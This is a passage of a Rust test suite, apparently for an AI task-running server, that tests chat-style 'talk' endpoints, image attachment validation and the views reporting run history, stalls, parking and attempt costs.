12148 assert_eq!(a.status, 202, "{}", a.body);
12149 assert_eq!(a.json()["thinking"], true);
12150 let b = f
12151 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
12152 .await;
12153 assert_eq!(b.status, 202, "{}", b.body);
12154 assert_eq!(b.json()["thinking"], true);
12155
12156 let listed = f.get("/api/talks").await.json();
12157 for id in [&id_a, &id_b] {
12158 let view = listed
12159 .as_array()
12160 .unwrap()
12161 .iter()
12162 .find(|talk| talk["id"] == *id)
12163 .unwrap();
12164 assert_eq!(view["thinking"], true, "{listed}");
12165 }
12166 let repeated = f
12167 .post(
12168 &format!("/api/talks/{id_a}/say"),
12169 Some(r#"{"text":"again"}"#),
12170 )
12171 .await;
12172 assert_eq!(repeated.status, 202, "{}", repeated.body);
12173 assert_eq!(repeated.json()["pending"], "again");
12174 }
12175
12176 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
12179
12180 #[tokio::test]
12181 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
12182 let f = Fixture::start().await;
12183 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
12184
12185 let res = f
12186 .post_bytes(
12187 &format!("/api/talks/{id}/attachments"),
12188 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12189 PNG_BYTES,
12190 )
12191 .await;
12192 assert_eq!(res.status, 201, "{}", res.body);
12193 let body = res.json();
12194 assert_eq!(body["name"], "shot.png");
12195 assert_eq!(body["mime"], "image/png");
12196 assert_eq!(body["bytes"], PNG_BYTES.len());
12197 let att_id = body["id"].as_str().expect("id").to_owned();
12198 assert_eq!(
12199 att_id.len(),
12200 32,
12201 "the id must never be a client-suppliable path: {att_id}"
12202 );
12203
12204 let got = f
12205 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
12206 .await;
12207 assert_eq!(got.status, 200, "{}", got.body);
12208 assert_eq!(got.header("content-type"), Some("image/png"));
12209 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
12210 assert_eq!(got.bytes, PNG_BYTES);
12211 }
12212
12213 #[tokio::test]
12214 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
12215 let f = Fixture::start().await;
12216 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
12217
12218 let svg = f
12221 .post_bytes(
12222 &format!("/api/talks/{id}/attachments"),
12223 &[("Content-Type", "image/svg+xml")],
12224 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
12225 )
12226 .await;
12227 assert!(
12228 (400..500).contains(&svg.status),
12229 "svg must be refused: {} {}",
12230 svg.status,
12231 svg.body
12232 );
12233 assert!(svg.body.contains("SVG"), "{}", svg.body);
12234
12235 let text = f
12236 .post_bytes(
12237 &format!("/api/talks/{id}/attachments"),
12238 &[("Content-Type", "text/plain")],
12239 b"just some text",
12240 )
12241 .await;
12242 assert!(
12243 (400..500).contains(&text.status),
12244 "an unlisted type must be refused: {} {}",
12245 text.status,
12246 text.body
12247 );
12248
12249 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
12252 let big = f
12253 .post_bytes(
12254 &format!("/api/talks/{id}/attachments"),
12255 &[("Content-Type", "image/png")],
12256 &oversized,
12257 )
12258 .await;
12259 assert_eq!(
12260 big.status,
12261 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
12262 "{}",
12263 big.body
12264 );
12265 }
12266
12267 #[tokio::test]
12268 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
12269 let f = Fixture::start().await;
12270 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
12271
12272 let res = f
12275 .post_bytes(
12276 &format!("/api/talks/{id}/attachments"),
12277 &[("Content-Type", "image/png")],
12278 b"<html>not a picture</html>",
12279 )
12280 .await;
12281 assert!((400..500).contains(&res.status), "{}", res.body);
12282 }
12283
12284 #[tokio::test]
12285 async fn an_unknown_attachment_id_is_a_404() {
12286 let f = Fixture::start().await;
12287 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
12288
12289 let res = f
12290 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
12291 .await;
12292 assert_eq!(res.status, 404, "{}", res.body);
12293 }
12294
12295 #[tokio::test]
12296 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
12297 let f = Fixture::start().await;
12298 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
12299
12300 let uploaded = f
12301 .post_bytes(
12302 &format!("/api/talks/{id}/attachments"),
12303 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12304 PNG_BYTES,
12305 )
12306 .await;
12307 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12308 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
12309
12310 let res = f
12311 .post(
12312 &format!("/api/talks/{id}/say"),
12313 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
12314 )
12315 .await;
12316 assert_eq!(res.status, 202, "{}", res.body);
12317 let queued = res.json();
12318 let turns = queued["turns"].as_array().expect("turns array");
12319 assert_eq!(
12320 turns.len(),
12321 1,
12322 "an empty body with an attachment is still a turn: {queued}"
12323 );
12324 assert_eq!(turns[0]["who"], "operator");
12325 assert_eq!(turns[0]["body"], "");
12326 let atts = turns[0]["attachments"]
12327 .as_array()
12328 .expect("attachments array");
12329 assert_eq!(atts.len(), 1);
12330 assert_eq!(atts[0]["id"], att_id);
12331 assert_eq!(atts[0]["mime"], "image/png");
12332
12333 let on_disk = f.talks().get(&id).expect("get");
12336 assert_eq!(on_disk.turns[0].attachments.len(), 1);
12337 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
12338 }
12339
12340 #[tokio::test]
12341 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
12342 let f = Fixture::start().await;
12343 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
12344
12345 let res = f
12346 .post(
12347 &format!("/api/talks/{id}/say"),
12348 Some(&format!(
12349 r#"{{"text":"hi","attachments":["{}"]}}"#,
12350 "a".repeat(32)
12351 )),
12352 )
12353 .await;
12354 assert!((400..500).contains(&res.status), "{}", res.body);
12355 assert!(res.body.contains("unknown attachment"), "{}", res.body);
12356
12357 let on_disk = f.talks().get(&id).expect("get");
12358 assert!(
12359 on_disk.turns.is_empty(),
12360 "a rejected attachment id must not partially record the turn: {:?}",
12361 on_disk.turns
12362 );
12363 }
12364
12365 #[tokio::test]
12366 async fn talk_close_makes_the_talk_refuse_further_turns() {
12367 let f = Fixture::start().await;
12368 let id = seed_talk(&f, "20260904-014455-cd34", "open");
12369
12370 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12371 assert_eq!(closed.status, 200, "{}", closed.body);
12372 assert_eq!(closed.json()["status"], "closed");
12373
12374 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
12376 assert_eq!(closed_again.status, 200);
12377 assert_eq!(closed_again.json()["status"], "closed");
12378
12379 let said = f
12380 .post(
12381 &format!("/api/talks/{id}/say"),
12382 Some(r#"{"text":"too late"}"#),
12383 )
12384 .await;
12385 assert_eq!(said.status, 409, "{}", said.body);
12386 }
12387
12388 #[tokio::test]
12389 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
12390 let (_tmp, _repo, f) = talk_fixture().await;
12391 let id = f.post("/api/talks", None).await.json()["id"]
12392 .as_str()
12393 .expect("id")
12394 .to_owned();
12395 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12396 assert_eq!(closed.status, 200, "{}", closed.body);
12397
12398 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12399 assert_eq!(reopened.status, 200, "{}", reopened.body);
12400 assert_eq!(reopened.json()["status"], "open");
12401
12402 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12404 assert_eq!(reopened_again.status, 200);
12405 assert_eq!(reopened_again.json()["status"], "open");
12406
12407 let said = f
12408 .post(
12409 &format!("/api/talks/{id}/say"),
12410 Some(r#"{"text":"still there?"}"#),
12411 )
12412 .await;
12413 assert_eq!(
12414 said.status, 202,
12415 "a reopened talk accepts turns again: {}",
12416 said.body
12417 );
12418 }
12419
12420 #[tokio::test]
12421 async fn talk_reopen_on_an_unknown_id_is_404() {
12422 let f = Fixture::start().await;
12423 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12424 assert_eq!(res.status, 404, "{}", res.body);
12425 }
12426
12427 #[tokio::test]
12428 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12429 let f = Fixture::start().await;
12430 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12431
12432 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12433 assert_eq!(deleted.status, 204, "{}", deleted.body);
12434
12435 let after = f.get(&format!("/api/talks/{id}")).await;
12436 assert_eq!(after.status, 404, "{}", after.body);
12437
12438 let listed = f.get("/api/talks").await.json();
12439 assert!(
12440 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12441 "a deleted talk must not linger in the list: {listed}"
12442 );
12443 }
12444
12445 #[tokio::test]
12446 async fn talk_delete_on_an_unknown_id_is_404() {
12447 let f = Fixture::start().await;
12448 let res = f.delete("/api/talks/nonexistent-id").await;
12449 assert_eq!(res.status, 404, "{}", res.body);
12450 }
12451
12452 #[tokio::test]
12456 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12457 let f = Fixture::start().await;
12458 let (a, b, gone) = (
12459 "20260902-140501-aaaa",
12460 "20260902-140502-bbbb",
12461 "20260902-140503-cccc",
12462 );
12463 write_run(&f.runs(), a, RunStatus::Stalled);
12464 let mut review = RunState::new(
12465 PathBuf::from("/repo/magi"),
12466 "main".to_owned(),
12467 "0123456789abcdef".to_owned(),
12468 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12469 .to_owned(),
12470 Config::default(),
12471 );
12472 review.id = b.to_owned();
12473 review.status = RunStatus::Merged;
12474 write_state(&f.runs(), &review);
12475
12476 let mut task = Task::new(
12477 "retry".to_owned(),
12478 "Do the thing".to_owned(),
12479 PathBuf::from("/repo/magi"),
12480 Source::Human,
12481 );
12482 task.start(a.to_owned());
12483 task.stall("quota");
12484 task.start(a.to_owned());
12485 task.start(b.to_owned());
12486 task.start(gone.to_owned());
12487 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12489 f.queue().put(&mut task).expect("file the task");
12490
12491 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12492 assert_eq!(res.status, 200, "{}", res.body);
12493 let v = res.json();
12494 let h = v["history"].as_array().expect("history");
12495 assert_eq!(h.len(), 4, "{v}");
12496 assert_eq!(h[0]["kind"], "competition");
12497 assert_eq!(h[0]["status"], "stalled");
12498 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12499 assert_eq!(h[1]["kind"], "resume", "{v}");
12500 assert!(
12501 h[0]["outcome"]
12502 .as_str()
12503 .unwrap()
12504 .contains("unknown. Pass #2"),
12505 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12506 );
12507 assert!(
12508 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12509 "{v}"
12510 );
12511 assert!(
12512 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12513 "an unrecorded cause must not be narrated as an operator park: {v}"
12514 );
12515 assert_eq!(h[2]["kind"], "review");
12516 assert!(
12517 h[2]["description"]
12518 .as_str()
12519 .unwrap()
12520 .contains("magi/aaaa/A")
12521 );
12522 assert_eq!(h[2]["status"], "merged");
12523 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12524 assert_eq!(v["runs_unreadable"], 1);
12525 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12526 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12527 assert_eq!(nodes[4]["note"], "unreadable");
12528 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12529 assert_eq!(v["instruction"], "Do the thing");
12530 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12531
12532 let run = f.get(&format!("/api/runs/{a}")).await.json();
12534 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12535
12536 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12537 }
12538
12539 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12540 let mut s = RunState::new(
12541 PathBuf::from("/repo/magi"),
12542 "main".to_owned(),
12543 "0123456789abcdef".to_owned(),
12544 "Do it".to_owned(),
12545 Config::default(),
12546 );
12547 s.status = status;
12548 edit(&mut s);
12549 s
12550 }
12551
12552 fn flow_task(runs: &[&str]) -> Task {
12553 let mut t = Task::new(
12554 "t".to_owned(),
12555 "Do it".to_owned(),
12556 PathBuf::from("/repo/magi"),
12557 Source::Human,
12558 );
12559 for r in runs {
12560 t.start((*r).to_owned());
12561 }
12562 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12564 t
12565 }
12566
12567 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12568 let h = task_history(task, |id| {
12569 states
12570 .iter()
12571 .find(|(i, _)| *i == id)
12572 .and_then(|(_, s)| s.clone())
12573 });
12574 task_flow(task, &h, 5, None)
12575 }
12576
12577 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12578 crate::queue::FollowUp {
12579 run: "20260901-000000-aaaa".to_owned(),
12580 origin_task: origin_task.map(str::to_owned),
12581 pr: "https://example.com/o/r/pull/1".to_owned(),
12582 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12583 .map(str::to_owned)
12584 .to_vec(),
12585 generation: 1,
12586 }
12587 }
12588
12589 fn parent_task() -> Task {
12590 let mut p = flow_task(&[]);
12591 p.title = "Parent title".to_owned();
12592 p.status = TaskStatus::Done;
12593 p
12594 }
12595
12596 #[test]
12597 fn flow_opens_with_the_parent_task_of_a_followup() {
12598 let p = parent_task();
12599 let pid = p.id.clone();
12600 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12601 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12602 let n = &f.nodes[0];
12603 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12604 assert_eq!(
12605 n.label,
12606 format!("Follow-up of {}", crate::queue::short(&pid))
12607 );
12608 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12609 assert_eq!(n.status, Some("done"));
12610 assert_eq!(n.status_of, "task");
12611 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12612 assert_eq!(f.nodes[1].key, "start");
12613 assert_eq!(f.edges[0].from, "origin");
12614 assert_eq!(
12615 f.edges[0].label,
12616 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12617 );
12618 }
12619
12620 #[test]
12621 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12622 let o = followup_origin(
12623 &fu(Some("gone")),
12624 |_| None,
12625 |_| {
12626 Some(RunState::new(
12627 std::path::PathBuf::from("."),
12628 "main".to_owned(),
12629 "0".to_owned(),
12630 "t".to_owned(),
12631 crate::config::Config::default(),
12632 ))
12633 },
12634 );
12635 assert!(o.parent.is_none());
12636 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12637 let n = &f.nodes[0];
12638 assert_eq!(n.status_of, "run");
12639 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12640 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12641 }
12642
12643 #[test]
12644 fn flow_followup_with_nothing_readable_has_no_link() {
12645 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12646 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12647 let n = &f.nodes[0];
12648 assert_eq!(n.href, None);
12649 assert_eq!(n.note, Some("unreadable"));
12650 assert!(!n.readable);
12651 }
12652
12653 #[test]
12654 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12655 let o = followup_origin(&fu(None), |_| None, |_| None);
12656 let mut t = flow_task(&[]);
12657 t.origin_chat = Some("c1".to_owned());
12658 let f = task_flow(&t, &[], 5, Some(&o));
12659 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12660 t.source = Source::Agent {
12661 run: "c1".to_owned(),
12662 node: crate::queue::CHAT_NODE.to_owned(),
12663 };
12664 let f = task_flow(&t, &[], 5, Some(&o));
12665 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12666 assert_eq!(
12667 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12668 ("chat", "origin")
12669 );
12670 }
12671
12672 #[test]
12673 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12674 let mut p = parent_task();
12675 p.id = "a b/c".to_owned();
12676 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12677 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12678 }
12679
12680 #[test]
12681 fn flow_opens_with_the_chat_that_queued_the_task() {
12682 let mut t = flow_task(&[]);
12683 t.source = Source::Agent {
12684 run: "a b/c".to_owned(),
12685 node: crate::queue::CHAT_NODE.to_owned(),
12686 };
12687 let f = flow_for(&t, &[]);
12688 assert_eq!(f.nodes[0].key, "chat");
12689 assert_eq!(f.nodes[0].kind, "chat");
12690 assert_eq!(
12691 f.nodes[0].label,
12692 format!("Chat {}", crate::queue::short("a b/c"))
12693 );
12694 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12695 assert_eq!(f.nodes[1].key, "start");
12696 assert_eq!(
12697 f.edges[0],
12698 FlowEdge {
12699 from: "chat".to_owned(),
12700 to: "start".to_owned(),
12701 label: "queued from chat".to_owned(),
12702 attempt: AttemptCost::None,
12703 }
12704 );
12705 }
12706
12707 #[test]
12708 fn flow_has_no_chat_box_for_other_sources() {
12709 for source in [
12710 Source::Human,
12711 Source::Issue {
12712 number: 3,
12713 repo: "o/r".to_owned(),
12714 },
12715 Source::Agent {
12716 run: "20260904-014455-ab12".to_owned(),
12717 node: "implement".to_owned(),
12718 },
12719 ] {
12720 let mut t = flow_task(&[]);
12721 t.source = source;
12722 let f = flow_for(&t, &[]);
12723 assert_eq!(f.nodes[0].key, "start");
12724 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12725 assert!(f.edges.iter().all(|e| e.from != "chat"));
12726 }
12727 }
12728
12729 const FA: &str = "20260902-140501-aaaa";
12730 const FB: &str = "20260902-140502-bbbb";
12731
12732 #[test]
12733 fn flow_follows_blocked_retry_merged_to_done() {
12734 let mut t = flow_task(&[FA, FB]);
12735 t.status = TaskStatus::Done;
12736 let f = flow_for(
12737 &t,
12738 &[
12739 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12740 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12741 ],
12742 );
12743 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12744 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12745 assert_eq!(f.edges.len(), 3);
12746 assert_eq!(f.edges[0].label, "claimed");
12747 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12748 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12749 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12750 assert_eq!(
12751 f.nodes[2].href.as_deref(),
12752 Some("#/runs/20260902-140502-bbbb")
12753 );
12754 assert!(f.nodes[2].decided);
12755 }
12756
12757 #[test]
12758 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12759 let quota = || {
12760 flow_run(RunStatus::Stalled, |s| {
12761 s.quota.push(crate::run::QuotaLoss {
12762 seat: "judge-1".to_owned(),
12763 node: "judge".to_owned(),
12764 at: Timestamp::now(),
12765 reset: None,
12766 })
12767 })
12768 };
12769 let mut t = flow_task(&[FA, FA]);
12770 t.status = TaskStatus::Queued;
12771 let f = flow_for(&t, &[(FA, Some(quota()))]);
12772 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12773 assert_eq!(f.nodes[1].note, Some("interrupted"));
12774 assert_eq!(
12775 f.nodes[1].status, None,
12776 "no outcome copied onto an earlier pass"
12777 );
12778 assert_eq!(
12779 f.edges[1].attempt,
12780 AttemptCost::Unknown,
12781 "a resume does not prove the earlier pass was refunded"
12782 );
12783 assert!(f.edges[1].label.contains("resume the same run"));
12784 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12785 assert_eq!(
12786 f.edges[2].label,
12787 "stalled after a resume, refund unknown \u{2192} queued"
12788 );
12789 assert!(!f.nodes[2].decided, "a stall is not a decision");
12790 assert_eq!(f.nodes[2].note, Some("no verdict"));
12791 }
12792
12793 #[test]
12794 fn flow_single_pass_quota_stall_is_refunded() {
12795 let t = flow_task(&[FA]);
12796 let f = flow_for(
12797 &t,
12798 &[(
12799 FA,
12800 Some(flow_run(RunStatus::Stalled, |s| {
12801 s.quota.push(crate::run::QuotaLoss {
12802 seat: "judge-1".to_owned(),
12803 node: "judge".to_owned(),
12804 at: Timestamp::now(),
12805 reset: None,
12806 })
12807 })),
12808 )],
12809 );
12810 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12811 }
12812
12813 #[test]
12814 fn flow_parked_refunds_and_stall_without_quota_spends() {
12815 let mut t = flow_task(&[FA]);
12816 t.status = TaskStatus::Queued;
12817 let f = flow_for(
12818 &t,
12819 &[(
12820 FA,
12821 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12822 )],
12823 );
12824 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12825 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12826 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12827 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12828 assert!(!f.nodes[1].decided);
12829 }
12830
12831 #[test]
12832 fn flow_keeps_an_unreadable_run_as_its_own_node() {
12833 let t = flow_task(&[FA, FB]);
12834 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12835 assert_eq!(f.nodes[1].note, Some("unreadable"));
12836 assert!(!f.nodes[1].readable);
12837 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12838 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12839 }
12840
12841 #[test]
12842 fn flow_names_the_branch_of_a_review_only_run() {
12843 let t = flow_task(&[FA]);
12844 let f = flow_for(
12845 &t,
12846 &[(
12847 FA,
12848 Some(flow_run(RunStatus::Merged, |s| {
12849 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12850 })),
12851 )],
12852 );
12853 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12854 assert_eq!(
12855 f.nodes[1].detail.as_deref(),
12856 Some("review-only run of branch magi/x/A")
12857 );
12858 }
12859
12860 #[test]
12861 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12862 let mut t = flow_task(&[FA]);
12863 t.status = TaskStatus::Held;
12864 let pr = crate::run::PrRecord {
12865 url: "https://example.test/pr/1".to_owned(),
12866 number: 1,
12867 state: "open".to_owned(),
12868 checks: "green".to_owned(),
12869 round: 0,
12870 rounds: 3,
12871 red_at_merge: Vec::new(),
12872 };
12873 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12874 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12875 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12876 t.status = TaskStatus::Done;
12877 let f = flow_for(&t, &[(FA, Some(blocked))]);
12878 assert_eq!(f.edges[1].label, "closed by hand: task is done");
12879 }
12880
12881 #[test]
12882 fn flow_with_no_runs_goes_from_queued_to_queued() {
12883 let t = flow_task(&[]);
12884 let f = flow_for(&t, &[]);
12885 assert_eq!(f.nodes.len(), 2);
12886 assert_eq!(f.edges.len(), 1);
12887 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12888 assert_eq!(f.edges[0].attempt, AttemptCost::None);
12889 }
12890
12891 #[test]
12894 fn a_parked_non_terminal_run_is_explained_as_parked() {
12895 let mut s = RunState::new(
12896 PathBuf::from("/repo/magi"),
12897 "main".to_owned(),
12898 "0123456789abcdef".to_owned(),
12899 "Do it".to_owned(),
12900 Config::default(),
12901 );
12902 s.status = RunStatus::Implementing;
12903 s.parked = true;
12904 let task = Task::new(
12905 "t".to_owned(),
12906 "Do it".to_owned(),
12907 PathBuf::from("/repo/magi"),
12908 Source::Human,
12909 );
12910 let v = task_run_view(
12911 "20260902-140501-aaaa",
12912 Some(&s),
12913 RunSlot {
12914 n: 1,
12915 resumed: false,
12916 resumed_later: None,
12917 prior: None,
12918 last: true,
12919 ..RunSlot::default()
12920 },
12921 &task,
12922 );
12923 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12924 }
12925
12926 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12927 let mut s = flow_run(RunStatus::Implementing, edit);
12928 s.parked = false;
12929 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12930 task_run_view(
12931 "20260902-140501-aaaa",
12932 Some(&s),
12933 RunSlot {
12934 n: 1,
12935 resumed: false,
12936 resumed_later: Some(2),
12937 prior: None,
12938 last: false,
12939 ..RunSlot::default()
12940 },
12941 &task,
12942 )
12943 }
12944
12945 #[test]
12946 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12947 let v = earlier_pass_view(|_| {});
12948 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12949 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12950 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12951 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12952 assert_eq!(v.exit, RunExit::Interrupted);
12953 assert_eq!(v.attempt, AttemptCost::Unknown);
12954 }
12955
12956 #[test]
12957 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12958 let v = earlier_pass_view(|s| {
12959 s.quota.push(crate::run::QuotaLoss {
12960 seat: "judge-1".to_owned(),
12961 node: "judge".to_owned(),
12962 at: Timestamp::now(),
12963 reset: None,
12964 });
12965 });
12966 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12967 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12968 assert_eq!(v.attempt, AttemptCost::Unknown);
12969 }
12970
12971 #[test]
12972 fn the_current_pass_states_its_recorded_cause_and_cost() {
12973 let slot = || RunSlot {
12974 n: 1,
12975 resumed: false,
12976 resumed_later: None,
12977 prior: None,
12978 last: true,
12979 ..RunSlot::default()
12980 };
12981 let task = flow_task(&["20260902-140501-aaaa"]);
12982 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12983 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12984 assert_eq!(
12985 (v.exit, v.attempt),
12986 (RunExit::Parked, AttemptCost::Refunded)
12987 );
12988 let spent = flow_run(RunStatus::Blocked, |_| {});
12989 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12990 assert_eq!(v.attempt, AttemptCost::Spent);
12991 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12992 }
12993
12994 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12995 crate::run::RunPass {
12996 index,
12997 started_at: Timestamp::now(),
12998 resumed: index > 0,
12999 ended_at: end.as_ref().map(|_| Timestamp::now()),
13000 end,
13001 task_entry: true,
13002 }
13003 }
13004
13005 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
13006 Some(crate::run::PassEnd::Parked { cause })
13007 }
13008
13009 fn upgrade_cause() -> crate::run::ParkCause {
13010 crate::run::ParkCause::Upgrade {
13011 from: "0.121.0".to_owned(),
13012 to: Some("0.121.1".to_owned()),
13013 }
13014 }
13015
13016 fn settled_pass(
13017 run: &str,
13018 index: usize,
13019 cost: crate::queue::PassCost,
13020 ) -> crate::queue::TaskPass {
13021 crate::queue::TaskPass {
13022 run: run.to_owned(),
13023 pass_index: index,
13024 cost,
13025 attempts_after: 1,
13026 settled_at: Timestamp::now(),
13027 parked: None,
13028 }
13029 }
13030
13031 const RUN_X: &str = "20261011-223708-4334";
13032
13033 #[test]
13034 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
13035 use crate::queue::PassCost;
13036 let run = flow_run(RunStatus::Implementing, |s| {
13037 s.passes = vec![
13038 recorded_pass(0, parked(upgrade_cause())),
13039 recorded_pass(1, None),
13040 ];
13041 });
13042 let mut task = flow_task(&[RUN_X, RUN_X]);
13043 task.attempts = 1;
13044 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13045 let h = task_history(&task, |_| Some(run.clone()));
13046 assert_eq!(h.len(), 2);
13047 assert_eq!(h[0].kind, "competition");
13048 assert_eq!(h[1].kind, "resume");
13049 assert_eq!(
13050 (h[0].exit, h[0].attempt),
13051 (RunExit::Parked, AttemptCost::Refunded)
13052 );
13053 assert!(
13054 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
13055 "{}",
13056 h[0].outcome
13057 );
13058 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
13059 assert!(
13060 h[0].outcome.contains("pass #2 resumed the same run"),
13061 "{}",
13062 h[0].outcome
13063 );
13064 assert!(
13065 h[0].outcome.contains("pass 1 of 2 over run"),
13066 "{}",
13067 h[0].outcome
13068 );
13069 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13070 assert_eq!(
13071 h[0].exit_label,
